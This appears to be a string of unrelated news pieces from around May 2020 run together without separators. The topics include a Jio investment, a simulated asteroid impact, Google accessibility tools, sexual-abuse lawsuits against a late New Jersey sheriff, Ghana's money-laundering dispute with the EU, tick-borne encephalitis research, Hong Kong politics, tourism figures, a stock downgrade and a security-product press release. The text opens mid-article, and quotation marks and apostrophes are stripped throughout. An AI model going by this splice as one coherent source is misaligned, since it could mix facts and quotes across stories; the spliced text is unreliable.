At the time of signing, Bill Ford, Chief Executive Officer of General Atlantic, said, As long-term backers of global technology leaders and visionary entrepreneurs, we could not be more excited about investing in Jio. We share Mukeshs conviction that digital connectivity has the potential to significantly accelerate the Indian economy and drive growth across the country. General Atlantic has a long track record working alongside founders to scale disruptive businesses, as Jio is doing at the forefront of the digital revolution in India.

Read all KKR-Jio deal stories here
This view of asteroid Bennu ejecting particles from its surface on Jan. 6, 2019, was created by combining two images taken by the NavCam 1 imager aboard NASA's OSIRIS-REx spacecraft. (Source: NASA/Goddard/University of Arizona/Lockheed Martin)

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A glossary of words is also published online.

After months of observation, astronomers have confirmed that an asteroid will hit the Earth in late April 2027. The object with 185 metres in diameter, detected in 2019, goes under the name 2019 PDC. It is going to impact along a narrow band stretching from Hawaii to Africa.

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Provided your blood pressure has just ramped up, it is now fair to say no Armageddon will occur, nor Bruce Willis be called in to save humanity. The 2019 PDC was part of a fictional scenario during the 2019 IAA Planetary Defense Conference (PDC), also attended by Slovak astronomer Peter Veres.

Even though the probability of an asteroid colliding with Earth is 100 percent, Veres noted the probability that it will happen today is extremely small.

Slovak astronomer Peter Veres. (Source: TASR)

The Slovak astronomer, who works for the Minor Planet Center (MPC) at the Harvard-Smithsonian Center for Astrophysics that identifies, computes the orbits of, and catalogues asteroids and comets, has himself co-discovered thousands of asteroids. Experts have discovered 958,282 asteroids, known also as minor planets, to date.

I remember the object discovered in 1999, which later received my name [(75009) Peterveres = 1999 UC], he said.

Some asteroids are named after Slovak towns, including Presov and Lucenec, or have other ties to Slovakia. One of those is called (1807) Slovakia, discovered at the Skalnate pleso observatory in the early seventies.

Potentially hazardous asteroids

Most of the irregular-shaped asteroids of different sizes and composition, created 4.6 billion years ago alongside our solar system, exist in the main asteroid belt between Mars and Jupiter, orbiting the Sun. Their total mass and numbers are only estimated since telescopes can hardly discover asteroids smaller than 1km in the main belt and beyond.

There are about a million objects larger than 1km in the main belt, which we have mapped, but just under a thousand asteroids of this size are close to Earth, Veres said.

If asteroids close to Earth, called Near-Earth Objects (NEOs), and of this size impacted our planet, it would cause a cataclysm at a continent or even global level. A close approach by large asteroids is, however, very rare. Lately, a large, 2-kilometre-wide asteroid 1998 OR2 flew past the Earth on April 28 of this year, the National Aeronautics and Space Administration (NASA) informed.

Discovery is the best defence

Nonetheless, NEOs larger than 140m may expose a large continental area to danger as well; a small asteroid of about 50 metres in diameter caused the 1908 Tunguska event uprooting and damaging millions of trees in Russia. Scientists, therefore, try to identify all asteroids of 140m and larger, also considering moving the lower limit to 100m.

The US Congress set a goal of finding 90 percent of these objects by 2018, Veres noted. It is estimated there are 30,000 asteroids, ranging in size from 140m to 1km, close to Earth - only 30 percent have been discovered.

video //www.youtube.com/embed/vfvo-Ujb_qk

Being able to discover asteroids today, the Slovak astronomer continued: We are trying to complete their population above a given size because it is our best and cheapest defence against them.

Even if NEOs do not live long  a million or a few million years  for their orbits to destabilise after they get close to the Sun or the planets, they are replenished with new ones from the main belt. When a very small NEO hits Earths atmosphere, people can observe it in the sky as a streak of bright light, called a meteor. In 2010, pieces of a small meteoroid originally of estimated size of one metre and a mass of 3.5t, landed near Kosice.

Telescopes harvesting the sky

Three years later, a 20-metre and 12 thousand-ton asteroid entered the Earths atmosphere. As it came from the direction of the Sun, astronomers could not detect it with ground-based telescopes. The meteor then exploded in the air over Chelyabinsk Oblast in Russia, generating a large shock wave and harming 1,500 people.



There are several NASA-funded survey telescopes, such as the ATLAS and Pan-STARRS systems in Hawaii, Zwicky Transient Facility in California, and the Catalina Sky Survey (CSS) in Arizona, and NEOWISE in space that hunt and track potentially dangerous NEOs.

My task was to compute whether the Pan-STARRS can detect an asteroid that can hit the Earth, Veres recalled his first experience with this telescope from 2008 when visiting the Hawaiis Institute for Astronomy as a researcher for several months.

In 2011, he returned to work before moving over to California four years later where he took up a job at the Jet Propulsion Laboratory, which carries out robotic space missions to study objects in the solar system. Veres was to find out if the Chile-based Large Synoptic Survey Telescope [now the Vera C. Rubin Observatory], expected to be completed in 2022, would discover as many NEOs as claimed in 2015 when its construction began.

A picture showing both asteroid 243 Ida and its newly discovered moon. Ida, the large object, is about 56 kilometres long. Ida's natural satellite is the small object to the right. (Source: NASA/JPL)

In 10 years, it will not catalogue 90 percent of NEOs bigger than 140m as originally expected, Veres claimed, who is now working on the development of new software for Harvard Universitys MPC.

The simulated asteroid hits NYC

Going back to last years PDC conference and its simulation, the question arises if eight years is enough to prevent an asteroid impact.

It depends on the given object. If it is observable for a year or two, it could be enough, Veres said. Nonetheless, the objects are unobservable most of the time.

Scientists at the conference would have an opportunity to study the 2019 PDC simulated object for several months in 2020-22, then for some time in 2024 and a year after.

When we detect an asteroid for the first time, we do not know its orbit. We need days, weeks, months of observations to say whether it will, in fact, hit the Earth, the Slovak astronomer said.

In the simulated scenario, astronomers decided to send a probe to the 2019 PDC to analyse it. At the same time, they decided to send other spacecrafts in 2023 to hard-impact them into the asteroid and thus change its momentum, instead of choosing a nuclear explosion hundreds of metres away from it.

Getting a probe to any asteroid always takes months or years and the timing is also important as asteroids orbit.

A probe flies relatively fast and if it hits an asteroid head-on, the probe will steal a tiny momentum of the asteroid, the astronomer said.

The asteroids momentum change may be small, but it is enough, Veres continued, to change its orbit over the years and avoid a collision. The whole process takes years, not days, and is not so easy as deploying a bomb on the asteroid to avoid the impact as seen in the film Armageddon.

video //www.youtube.com/embed/V_eEXScLFBA

The simulation further unveiled that the probe, which had analysed the 2019 PDC, was destroyed by debris after one of the three spacecrafts caused disintegration of the asteroid in the year 2024. The asteroid thus became unobservable, but the data suggested a 65-metre fragment was still to explode in the atmosphere somewhere between Chicago and the Atlantic Ocean. The only solution left of a nuclear weapon would not be ready in time.

A few months before impact, it was clear that the asteroid would hit somewhere over New York City shortly after midnight on April 29, 2027, Veres said.

The fictional cataclysm concluded the fragment would hit Central Park and the population would have to be resettled months before the collision, with economic damage being massive.

The result of the hypothetical scenario and todays technological possibilities showed humanity is not prepared for similar threats that we will one day have to face, Veres claimed. He added most participants in the conference were American, which corresponds with the fact that the USA invests the most in planetary defence.

Two different astronomy worlds

Even when asteroids might be seen as a threat, people could mine rare metals on them in future, Veres noted, since asteroids contain higher abundances of them than Earths crust.

The Subject of astronomy is as wide as the whole universe, the Slovak astronomer said.

Veres started off his career at AGO Modra observatory, belonging to Comenius University near Bratislava, where he was wide awake all night and slept during the day.

At present, Modra is not competitive in asteroid discovery anymore and they focus on other science topics, he also noted.

One of asteroids is called (1807) Slovakia, discovered at the Skalnate pleso observatory in the 1970s. (Source: TASR)

A total of 142 numbered asteroids were discovered at Modra in the past, the last of which was detected in 2009. The observatory currently measures asteroid light curves and monitors meteors in cooperation with other observatories around the world today. It also monitors space debris  defunct man-made objects orbiting around Earth  such as dysfunctional satellites and launch vehicles.

Whereas at the Modra observatory Veres had to be physically present to open its dome and then observe the sky, he is now aware of what astronomys future feels like after years spent in the USA.

I did not have to travel to an observatory at the top of a Hawaiian volcano, he recalled. I scheduled my targets and the observatory staff on a neighbouring island then provided the data.

He would study the data at the Institute for Astronomy in Honolulu and worked on software development. Veres, who has loved all sorts of discoveries since a young age, perhaps achieved all the goals in his career but the one thing he misses is university teaching, which he used to do in Slovakia.

The young astronomer would like to return home provided science gets a boost one day, adding that: Astronomy and space are a natural magnet to attract people to science, technology and critical thinking.

The Spectator College is a programme designed to support the study and teaching of English in Slovakia, as well as to inspire interest in important public issues among young people.
Google is rolling out a wealth of new accessibility features for Android users, including its long-awaited Action Blocks. The recently reported features are arriving just in time for Global Accessibility Awareness Day. So each centers firmly around accessibility. So the list includes a ton of additions to apps ranging from Live Transcribe and Sound Amplify to Voice Access. But the biggest of those is a brand new  in terms of public availability  app called Action Blocks.

Action Blocks were announced under testing in October of last year. As the name implies, they serve as blocks that users can tap on to perform actions. Specifically, they work with Google Assistant-related actions.

Similar to widgets, Action Blocks  once created  appear as oversized square cards on the home screen and allow users to accomplish any task Assistant can. For instance, they can be set up to call a specific person, turn off smart lights, or watch a show in a favorite app. The blocks themselves can be customized with labels and custom symbols or icons.

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They can also be created using preset actions or with completely custom actions derived from statements that would ordinarily be spoken to the Assistant.

Global Accessibility Awareness Day Brings more accessibility than just Action Blocks

Other Google accessibility apps are being updated alongside Action Blocks too. For instance, the search giants speech and sound transcription app, Live Transcribe, can now respond differently to specific words. To begin with, users can now type in hard-to-transcribe names or terms in Settings. Those would be words that the AI has a hard time handling.

Secondary to that, Google will now allow Live Transcribe transcriptions to be searched. So, if theres a key portion of the text that needs to be discovered, particularly in long speeches, users can now find it more easily. As with other Live Transcribe features, thats going to be done locally instead of on the cloud. So privacy will be less of a problem here than with some competing apps and services.

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For those who have difficulty hearing sounds, Live Transcribe can additionally be set up to vibrate when it hears a specific name. The feature is intended to serve as a way to alert users that theyre being spoken to or otherwise catch their attention.

Beyond Live Transcribe, Googles Sound Amplify is being updated as well. Bluetooth support is being added so that users no longer need to rely on wired headsets. Thats going to be useful since headphone jacks are slowly being phased out and those who are hard of hearing would otherwise likely lose access to environmental sound amplification.

Google maps will set itself apart from other apps on the accessibility front too

The final update is arriving on Google Maps. That aims to set itself apart from other maps and travel apps by adding features for wheelchair-bound users. More directly, Google is tacking in the ability to have wheelchair access shown immediately in search results. Prior to the change, users would have needed to expand a given locations details to see that information.
Jack Jeffress was a teenage hitchhiker on his way to New York City in 1979 when he says Warren County Undersheriff Edward Bullock picked him up in an official vehicle, brought him back to Bullocks home, drugged him and raped him with another man over before Jeffress was able to escape.

This week, he became the fourth accuser to come forward and sue the county over Bullocks alleged transgressions. Three prior lawsuits in recent years, which are now likely headed to a civil trial, claim officials knew of and ignored the now-dead sheriffs grooming and raping of young boys in the countys custody.

Jeffresss lawsuit was filed Monday in New Jersey Superior Court in Belvidere, where Bullock served as sheriff from 1982 to 1991. It levies four counts against the county, including negligence, and seeks unspecified damages.

Warren County counsel Joe Bell could not comment on the most recent lawsuit because he had not yet seen it. On the others and pending civil trial, however, he said the county will be vindicated.

This occurred 36 years ago, he said. There has been no smoking gun to this point to indicate anyone was aware of wrongdoing.

Former Warren County Sheriff Edward Bullock pleaded guilty to official misconduct in April 1992. He served nine months in jail.lehighvalleylive.com file photo

Bullock died in 2015 at age 86, just a few months after a jury failed to reach a verdict in a criminal case against him. Bullock previously served nine months in jail in the early 90s  he abruptly resigned from office and pleaded guilty to official misconduct after reportedly soliciting sex from an undercover state trooper posing as a 17-year-old boy.

The latest lawsuit differs from the three earlier cases in a few ways.

First, Jeffress used his full name in the lawsuit. He is the first accuser to allow himself to be identified by name. Lehighvalleylive.com typically does not identify victims of sexual assault. But Jeffress, who is now 56 and living in Los Angeles, said he has been and will continue to be publicly outspoken about Bullock through rallies, websites and social media.

Second, it is the earliest accusation against Bullock known so far. The other three lawsuits, all filed between 2013 and 2016, deal with allegations between 1987 and 1989. Bullock would have been an undersheriff at the time that Jeffress says he was raped in August 1979.

Third, Jeffress was not actually in the countys custody. Other victims have said that Bullock used his office and authority to schedule trips with boys being transferred between juvenile facilities. Jeffress says he was a 15-year-old hitching rides from his home in Indiana to New York City when Bullock picked him up in Pennsylvania, as Jeffress sat in front of a building in Easton, just across the river from Bullocks jurisdiction.

The lawsuit says Bullock was wearing his badge and gun, driving an unmarked Warren County vehicle. Bullock allegedly took Jeffress into New Jersey and bought pizza and beer before going to a house in the Phillipsburg area, where Bullock lived. It was there that Jeffress was allegedly drugged and raped by Bullock and another unidentified man over a few days until Jeffress escaped through a bathroom window.

Edward Bullock was Warren Countys sheriff from 1982 to 1991. Lawsuits claim the county turned a blind eye toward his alleged sexual abuse of children in the government's care.lehighvalleylive.com file photo

The timing of this case, years before previous allegations, shows the scope of harm that Bullock could have committed, said Hillary Nappi, a New York City attorney representing Jeffress.

"There were probably hundreds of people before the documented cases, Nappi told lehighvalleylive.com. Its almost like a drug addiction. They just continue to abuse.

A lot of this conduct doesnt happen in isolation," agreed Phillipsburg-area attorney Brad Russo, who represents the plaintiffs in three other, separate lawsuits, which are nearing civil trial:

The first lawsuit, filed in 2013 , claims the victim, identified only as W.M., was a 10-year-old boy who was repeatedly abused and raped at least once in 1987 and '88, including while being transported by the employee to a county-run youth shelter in Oxford Township.

The second suit, filed in 2015 , has much of the same claims. That victim, identified as C.C., was 14 and 15 years old and under the county's care during four alleged assaults by the sheriff, the lawsuit says. The alleged assaults include Bullock giving the boy back rubs in his office, and fondling the teen during a transport to the county youth shelter.

A third lawsuit was filed in 2016, just a couple months after Bullock died, claims a young boy in custody, identified as R.M., was targeted and repeatedly abused between 1987 and 1989, including literally dozens of times while being transported between county facilities. It also says that the boy was abused at Bullocks Lopatcong Township home and at the home of Bullocks friend, identified only as R.C.

Our journalism needs your support. Please subscribe today to lehighvalleylive.com.

Steve Novak may be reached at snovak@lehighvalleylive.com.
Ghana has rejected European Commission's (EC) proposal to include the country in its list of high risk jurisdictions with strategic deficiencies in their Anti-Money Laundering and Countering the Financing of Terrorism (AML/CFT) regimes on 1st October, 2020.

A statement issued by the Ministry of Finance on Thursday, May 21, said the decision did not reflect exactly the current status of Ghana's AML/CFT regime.

This is unfortunate, and the Government of Ghana is always ready to engage with the EC about the true status of the country's AML/CFT regime and efforts being made to strengthen same, the statement says.

The European Commission on May 7, 2020 proposed to the European Union Parliament to add Ghana to its list of high risk third countries with strategic deficiencies in their Anti-Money Laundering and Countering the Financing of Terrorism.

The statement said the European Commission had not engaged Ghana concerning any shortcomings that needed to be addressed nor was the country given the opportunity to implement corrective measures.

On the contrary, when Ghana's progress report was being discussed at the last FATF Plenary meetings held in Paris, France on 19th to 21st February, 2020, no adverse comment came from the EC. It is, therefore, a surprise for the EC to mention Ghana as one of the countries to be added to her list of high risk third countries barely three months afterwards, the statement said.

The statement says the Financial Action Task Force (FATF), the global standard setting on AML/CFT, has always acknowledged Ghana's efforts in enhancing its AML/CFT regime at various platforms of which the EC is always represented.

Just as the methodology used to publish a similar list on 13th February, 2019, which was eventually withdrawn due to lack of clarity and transparency in the process of identifying third countries, we consider the methodology used to come up with this new list once again unfortunate, it said.

The statement said Ghana's Mutual Evaluation Report by FATF during their plenary meetings in October 2018, identified some strategic deficiencies in the country's AML/CFT framework, and FATF has worked with Ghana to draw up a two year Action Plan (2019 -2020) to address same.

It said the country has had periodic face-to-face meetings with the International Country Risk Guide (ICRG) to assess the progress of implementation of the Action Plan.

The last face-to-face meeting was from 15th to 17th January, 2020 in Rabat, Morocco.

It is worth mentioning that, since the action plan was adopted, Ghana has consistently demonstrated a high-level political commitment to implementing the action plan and has always received positive commendations from the FATF, the statement said.

Indeed, the International Country Risk Guide (ICRG) in their report to the FATF Plenary meetings in February, 2020 acknowledged that all timelines due have been met and some action items addressed even ahead of their timelines, it added.

---GNA
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The spectacular traditional clothes of Mongolian nomads are showcased in a series of beguiling portrait shots.

These brightly coloured and bejewelled garments are handed down through generations.

Freelance photographer Alessandra Meniconzi travelled from her home in Lugano, Switzerland, to Central Mongolia to set up the shoot.

Ms Meniconzi said: 'In the past the kings and queens and royalty of the Mongolian nomads used to wear these traditional clothes, which are decorated with the beautiful jewels.

'They each had their own tailors and workshops. Now, families make these traditional clothes and hand them down through to their children.

'The mother makes clothes for her children and they, in turn, pass this culture to their daughters and so on.'

The spectacular traditional clothes of Mongolian nomads are showcased in a series of beguiling portrait shots

These brightly coloured and bejewelled garments are handed down through generations

Freelance photographer Alessandra Meniconzi travelled from her home in Lugano, Switzerland, to Central Mongolia to set up the shoot

Ms Meniconzi said: 'In the past the kings and queens and royalty of the Mongolian nomads used to wear these traditional clothes, which are decorated with the beautiful jewels'

Families make these traditional clothes and hand them down through to their children

The mother makes clothes for her children and they, in turn, pass this culture to their daughters and so on

'I am motivated by a passion for the interplay between wild places and ancient cultures, as well as a fascination with and profound respect for native people who subsist in isolated regions of the world,' said Ms Meniconzi

The photographer 'strives to portray the lives of indigenous people with authenticity, insight and sensitivity'

Ms Meniconzi has published four books - The Silk Road (2004), Mystic Iceland (2007), Hidden China (2008) and QTI -Alessandra Meniconzi, Il coraggio di esser paesaggio (2011)
Researchers from Sechenov University together with colleagues from several Russian institutes analyzed data on the RNA structure of tick-borne encephalitis virus.

Much larger than in previous studies, the data volume of the new study allowed them to estimate the age of the virus subtypes and track its spread in Eurasia. The results of the study were published in the journal Viruses.

Tick-borne encephalitis is common in Central and Eastern Europe and a wide band in southern Siberia and the Far East.

This disease is dangerous due to the ability of the virus to penetrate the brain and spinal cord, causing motor disorders, cognitive impairments and, in severe cases, paralysis and death. Every year in Russia, 1,500-2,000 people are infected, with about 30% developing neurological complications and 20-100 people dying.

The pathogen belongs to the genus Flavivirus (it also includes Zika virus and the virus that causes dengue fever) and is transmitted mainly through tick bites. There are three subtypes of the virus: Far Eastern, Siberian and European.

Each of them is predominant in the region after which it is named, although this division is quite coarse - for example, cases of infection with the Siberian subtype were observed in the Baltic States and Sakhalin, and with the European one - in South Korea and the Altai Mountains.

In recent years, the spread of the virus has expanded to northern areas (Kola Peninsula, Arkhangelsk Region) and mountainous regions (in Central Europe and Italy). In 2019, the first cases of infection were recorded in the UK and the Netherlands.

To respond promptly to the emergence of the virus in new territories, it is necessary to understand what affects its spread and evolution. Existing studies provide different, sometimes contradictory results, but new data collected in recent years can clarify the situation.

The authors of the article used GenBank - a database that stores more than 200 million nucleotide sequences of RNA and DNA of various species.

The data are supplied by scientists from different countries, and their volume is constantly growing, in common with the number of sequences describing the RNA of the tick-borne encephalitis virus - in ten years the number has increased fivefold.

Using computer algorithms, researchers compared the RNA of viruses found in different years on the territory of several countries.

Knowing the 'distance' (the proportion of divergent nucleotides) between samples and the date of their receipt, one can estimate the time of divergence of species or the division of a species into subtypes.

This method is based on the assumption that the sequence of nucleotides in a single species changes at an approximately constant rate, and is called the molecular clock. Using this method, scientists estimated the age of the most recent common ancestor for each of the subtypes.

The result (about 700 and 900 years for the Siberian and Far Eastern subtypes, respectively) is consistent with earlier studies, while the age of the European subtype (about 1,600 years) was estimated for the first time after the virus was spotted in the Netherlands.

The researchers also tried to find out how genetically similar viruses of the same subtype ended up in different countries at a distance of thousands of kilometres from each other. There are several possible explanations.

First, viruses (or ticks infected with them) can travel long distances with animals, such as migratory birds or bats. Second, human activity can contribute to the spread of the virus: transportation of livestock or introduction of animals suitable for hunting in new territories.

The most important result of the work was that most of the virus spreading events occurred in the last three or four centuries, and in many cases we have observed the transfer of the virus for thousands of kilometres in the last 50-100 years, and viruses in Europe have completely mixed over the last 100-200 years.' Alexander Lukashev, Study Co-Author and Director of the Institute of Medical Parasitology and Tropical Medicine, Sechenov University

'This allows us to consider tick-borne encephalitis as a highly dynamic disease, even as an emerging disease in many regions, and to think about an anthropogenic factor (the spread of infected ticks as a result of transportation of domestic and wild animals) as one of the main mechanisms behind the expansion of the virus.'

In addition, scientists have proposed an algorithm that simulates the compilation of samples as used in earlier studies. With its help, the authors of the article showed that the differences in results of previously published studies are well explained by the selection of the sequences included in the study.
Sen. Ted Cruz (R-Texas) speaks to media in the Capitol in Washington on Jan. 28, 2020. (Charlotte Cuthbertson/The Epoch Times)

Sen. Ted Cruz Condemns Chinese Regime Amid Concerns for Hong Kongs Autonomy

Calls on allies to resist the 'spread of communism'

Sen. Ted Cruz (R-Texas) on Thursday condemned the Chinese Communist Party (CCP) following its announcement of plans to impose a sweeping new national security law on the former British colony of Hong Kong. The senator also called on U.S. allies to hold the line against the spread of the CCP.

The CCPs figurehead legislature, the National Peoples Congress (NPC), announced late Thursday that it would propose a national security law for establishing a legal system and enforcement mechanism to defend national security in Hong Kong. The bill is expected to pass, given the NPCs role as a ceremonial rubber-stamp that approves directives from the CCP, and the pro-Beijing stance of the citys chief executive officer Carrie Lam, who will need to issue a legal notice in the Government Gazette before the central governments law can be put into effect.

The Chinese Communist Party is fast moving to end what is left of Hong Kongs autonomy, stripping away essential freedoms from Hong Kongs people, Cruz said in a statement, calling the CCPs latest move an escalation to deepen their control over Hong Kong.

This is unacceptable and will require a reevaluation of U.S. policy if it is not immediately reversed, he added.

Now the U.S. must stand strong with our allies and hold the line against the spread of communism, he wrote.

Ive long said that Hong Kong is the new Berlin, and the United States must stand strong with our allies and hold the line against the spread of the Chinese Communist Party.  Senator Ted Cruz (@SenTedCruz) May 21, 2020

Chinese Premier Li Keqiang said on Friday in his annual report to the NPC that the CCP is moving to establish a sound legal system for the CCP to enforcement mechanisms to safeguard its national security in the Hong Kong Special Administrative Region.

The law aim to ban secession, sedition, terrorism, and any interfering activities by foreign countries and outside influences that the PRC sees as a challenge to its one-party governing.

Critics say such a law would further threaten Hong Kongs autonomy and allow the CCP to target dissident voices under the guise of safeguarding Chinas national security.

According to the draft legislation, the law will safeguard the central governments overall jurisdiction as well as Hong Kongs high autonomy.

The relevant institutions of the Central Peoples Government for safeguarding national security shall establish institutions in the Hong Kong Special Administrative Region as required, perform their duties of safeguarding national security according to law, the draft states.

President Donald Trump said on Thursday that the United States would react strongly if the Chinese regime follows through on its plans to impose such a law on Hong Kong.

If it happens, well address that issue very strongly, Trump told reporters on Thursday before leaving the White House.

House Speaker Nancy Pelosi (D-Calif.) issued a statement late Thursday calling the CCPs latest move alarming.

Beijings announcement of yet another attempt to bring an end to the one country, two systems framework in #HongKong is deeply alarming. Pelosi wrote. Attempting to circumvent the HK legislature shows a complete disrespect for the rule of law.

Beijings announcement of yet another attempt to bring an end to the one country, two systems framework in #HongKong is deeply alarming. Attempting to circumvent the HK legislature shows a complete disrespect for the rule of law.  Nancy Pelosi (@SpeakerPelosi) May 21, 2020

Two U.S. senators Pat Toomey (R-Pa.) and Chris Van Hollen (D-Md.), just hours upon news of Chinas proposal, introduced a bipartisan bill called the Hong Kong Autonomy Act that seeks to sanction Chinese officials or entities complicit in the Chinese regimes brazen interference in the Hong Kong. The legislation would also penalize banks that do business with such officials or entities.

Examples [of such entities] may include a police unit cracking down on Hong Kong protestors or Chinese Communist Party officials responsible for imposing a national security law on Hong Kong, they wrote.

Hong Kong was handed back from British colonial rule to Chinese sovereignty in 1997 with the express guarantee under the Sino-British Joint Declaration that the citys high degree of autonomy and essential freedoms would be preserved under the principle of one country, two systems until 2047.

Under the Hong Kong Human Rights and Democracy Act, signed into law last year, the U.S. State Department is required to annually determine whether Hong Kong has retained sufficient political autonomy from China to preserve its special trading privileges currently afforded to it by the United States. The legislation also enables sanctions against Chinese and Hong Kong officials responsible for gross human rights violations in Hong Kong.

State Department spokesperson Morgan Ortagus on Thursday urged Beijing to honor its commitments and obligations in the Sino-British Joint Declaration.

Any effort to impose national security legislation that does not reflect the will of the people of Hong Kong would be highly destabilizing, and would be met with strong condemnation from the United States and the international community, she told The Epoch Times in an email.

The State Department has said it delayed issuing an annual report on Hong Kongs autonomy, to account for any further actions from Beijing during the NPC.

Large-scale pro-democracy and anti-CCP protests erupted in June last year in Hong Kong over a since-scrapped extradition bill, after locals feared the bill would threaten the citys judicial autonomy. In recent months, the protests have quieted down due to the pandemic.

Former U.S. ambassador to the United Nations, Nikki Haley, remarked that the CCP has used the CCP virus pandemic as an opportunity to crack down on dissidents.

No surprise that while countries are focused on a virus spread by Chinas carelessness, the Chinese Communist Party moves forward with its strategic plan by passing a law that tackles the political dissent that erupted on Hong Kongs streets last year, she wrote on Twitter.

No surprise that while countries are focused on a virus spread by Chinas carelessness, the Chinese Communist Party moves forward with its strategic plan by passing a law that tackles the political dissent that erupted on Hong Kongs streets last year. #StandWithHongKong https://t.co/XluNFMQ917  Nikki Haley (@NikkiHaley) May 21, 2020

Eva Fu, Frank Fang, and Reuters contributed to this report.
BAKU, Azerbaijan, May 22

By Rufiz Hafizoglu - Trend:

Some 1,228 tourists from Azerbaijan visited Turkey in April 2020, which is 97.7 percent less compared to the same period in 2019, Trend reports on May 22 referring to the Turkish Ministry of Culture and Tourism.

The share of Azerbaijani citizens in the total number of foreigners visiting Turkey in March 2020 amounted to 5.07 percent.

From January through April 2020, 123,415 tourists from Azerbaijan visited Turkey, which is 42.1 percent less compared to the same period in 2019.

The share of Azerbaijani citizens in the total number of foreigners visiting Turkey in the reporting period amounted to 2.9 percent.

According to the ministry, in April 2020, 24,238 tourists visited Turkey, which is 99.2 percent less compared to April 2019.

In the first 4 months of this year, over 4.2 million tourists visited Turkey, which is 51.2 percent more than in the same period of 2019.

Some 901,723 citizens of Azerbaijan visited Turkey in 2019, which is 5.03 percent more compared to 2018.

The share of Azerbaijani citizens in the total number of foreigners visiting Turkey in 2019 amounted to 2 percent.

---

Follow the author on twitter: @rhafizoglu
One thing we could say about the covering analyst on Air Industries Group (NYSEMKT:AIRI) - they aren't optimistic, having just made a major negative revision to their near-term (statutory) forecasts for the organization. Both revenue and earnings per share (EPS) estimates were cut sharply as the analyst factored in the latest outlook for the business, concluding that they were too optimistic previously.

Following the downgrade, the consensus from solitary analyst covering Air Industries Group is for revenues of US$48m in 2020, implying a definite 11% decline in sales compared to the last 12 months. Losses are supposed to balloon 61% to US$0.03 per share. Previously, the analyst had been modelling revenues of US$62m and earnings per share (EPS) of US$0.05 in 2020. So we can see that the consensus has become notably more bearish on Air Industries Group's outlook with these numbers, making a pretty serious reduction to this year's revenue estimates. Furthermore, they expect the business to be loss-making this year, compared to their previous forecasts of a profit.

View our latest analysis for Air Industries Group

AMEX:AIRI Past and Future Earnings May 22nd 2020

One way to get more context on these forecasts is to look at how they compare to both past performance, and how other companies in the same industry are performing. One thing that stands out from these estimates is that revenues are expected to keep falling, roughly in line with the historical decline of 11% per annum over the past five years. Compare this with our data on other companies (with analyst coverage) in the industry, which in aggregate are forecast to see their revenue grow 5.0% next year. So it looks like Air Industries Group's revenues are expected to decline at a slower rate than the wider industry.

The Bottom Line

The most important thing to take away is that the analyst is expecting Air Industries Group to become unprofitable this year. Regrettably, they also downgraded their revenue estimates, and the latest forecasts imply the business will grow sales slower than the wider market. After a cut like that, investors could be forgiven for thinking the analyst is a lot more bearish on Air Industries Group, and a few readers might choose to steer clear of the stock.

Story continues

So things certainly aren't looking great, and you should also know that we've spotted some potential warning signs with Air Industries Group, including dilutive stock issuance over the past year. Learn more, and discover the 4 other warning signs we've identified, for free on our platform here.

Another way to search for interesting companies that could be reaching an inflection point is to track whether management are buying or selling, with our free list of growing companies that insiders are buying.

Love or hate this article? Concerned about the content? Get in touch with us directly. Alternatively, email editorial-team@simplywallst.com.



This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. We aim to bring you long-term focused analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Simply Wall St has no position in any stocks mentioned. Thank you for reading.
GoSilent Share There are plenty of solutions on the market today for online file sharing and collaboration, but they lack the security controls needed to protect highly sensitive information. We built GoSilent Share to solve exactly this problem.

Attila Security, a leading provider of simple, highly secure solutions for protecting sensitive data as it moves between people, places, devices and networks, unveiled GoSilent Share, a new secure online file sharing and collaboration workspace thats been described as encryption on steroids.

GoSilent Share provides true, end-to-end data security using encryption strong enough for controlled unclassified (CUI) level protection and is designed to meet the needs of the most security-sensitive organizations.

The way organizations work with their partners has changed considerably, and the ability to collaborate digitally is crucial, but it also increases the risk that data and intellectual property will fall into the wrong hands, explained Jay Wantz, Vice President of Engineering at Attila Security. There are plenty of solutions on the market today for online file sharing and collaboration, but unfortunately they lack the security controls needed to protect highly sensitive information. We built GoSilent Share to solve exactly this problem, and to allow organizations to take full advantage of all the benefits the cloud has to offer without exposing them to the risks.

The complexity brought on by rapidly changing and expanding third party ecosystems and rising competitive threats from both corporate entities and nation-states has made it increasingly difficult for organizations to quickly, easily and securely share information with their partners and suppliers. Until now.

GoSilent Share is a turnkey, private-label solution that allows organizations with high value intellectual property or sensitive data to secure remote access to their data so that it can be freely shared with third parties while ensuring that only approved users have access. This makes it ideally suited to solve challenges relating to supply chain security, and to protect data handled by law firms, healthcare organizations, defense contractors, the financial industry, or any other organization that requires the highest level of security.

Full Ownership. Platform Agnostic.

Unlike other commercial file sharing and collaboration tools, with GoSilent Share, the organization owns all of the data and completely controls access and segmentation. There's no relying on third-party hosts or third-party providers, and it seamlessly integrates into any existing IT environment regardless of the servers, operating systems, or tools in place.

Highly Secure.

Designed to be fully controlled and managed by the organization, the GoSilent Share platform combines the award-winning GoSilent Cube, the worlds smallest portable firewall, VPN, and Wi-Fi hotspot, with Attila's GoSilent Server. Together, they create a NIAP-approved, IPSec VPN tunnel, fully encrypted with CNSA algorithms to secure all data in-transit, as well as storage for encrypted structured and unstructured data at-rest.

Securing the Supply Chain.

GoSilent Share is ideally suited for organizations with complex supply chains and high value intellectual property that face challenges collaborating with smaller supply chain partners who require sporadic secure remote network access but do not have an IT team or the infrastructure in place to secure their endpoints.

The platform is already in use today within the U.S. defense industrial base and the Department of Defense, which is using it to securely collaborate with defense contractors, as well as in the private sector.

About Attila Security

Based in Columbia, MD, Attila helps organizations ensure their networks and data are securely protected. Our focus has been solving and simplifying complex network security challenges since our inception. Attilas award winning GoSilent technology was originally developed to protect government leadership and enterprises from advanced cyber threats, man in the middle attacks and foreign adversaries.

Today, the Attila platform offers the highest level of network security of any cloud-based environment, protecting data in-motion and at rest. Attila customers can choose to deploy on our global cloud network or leverage our NIAP certified virtual servers to overlay existing networks.
T his is the moment a journalist was interrupted by his five-year-old daughter as he tried to ask First Minister Nicola Sturgeon a question on childcare responsibilities during the coronavirus pandemic.

Chris Musson, the political editor of the Scottish Sun, was asking Ms Sturgeon about the possibility of mothers being forced out of work due to having to look after their children.

Illustrating the difficulties of working at home, the journalists daughter appeared over his right shoulder during his questioning via video-link from his home.

The intervention raised a smile from the First Minister, which then turned to laughter when the youngster switched sides and temporarily managed to get between her father and the camera.

Ms Sturgeon said: Chris, I think you should let the other person in the room there ask a question.

